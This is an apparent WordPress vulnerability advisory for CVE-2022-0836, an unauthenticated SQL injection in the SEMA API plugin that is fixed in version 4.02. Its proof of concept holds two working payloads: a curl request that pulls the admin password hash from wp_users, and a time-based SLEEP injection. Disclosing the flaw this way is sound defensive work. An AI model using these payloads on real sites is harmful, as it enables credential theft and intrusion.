SEMA API < 4.02 – Unauthenticated SQLi | CVE 2022-0836 | Plugin Vulnerabilities

Description

The plugin does not properly sanitise and escape some parameters before using them in SQL statements via an AJAX action, leading to SQL Injections exploitable by unauthenticated users

Proof of Concept

v < 3.64:
curl http://example.com/wp-admin/admin-ajax.php --data 'action=get_semadata&type=attributes&catid=-3 UNION ALL SELECT 1,2,3,(SELECT user_pass FROM wp_users WHERE ID = 1),5-- -'

v < 4.02
https://example.com/wp-admin/admin-ajax.php?action=get_semadata&type=deleteattribute&catid=1&attrids=1%29 AND %28SELECT 42 FROM %28SELECT%28SLEEP%285%29%29%29b

Affects Plugins

Fixed in 4.02

References

CVE

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

cydave

Submitter

cydave

Submitter website

https://cyllective.com/

Submitter twitter

Verified

Yes

WPVDB ID

2a226ae8-7d9c-4f47-90af-8a399a08f03f

Timeline

Publicly Published

2022-04-13 (about 3 years ago)

Added

2022-04-13 (about 3 years ago)

Last Updated

2022-06-01 (about 3 years ago)

Other

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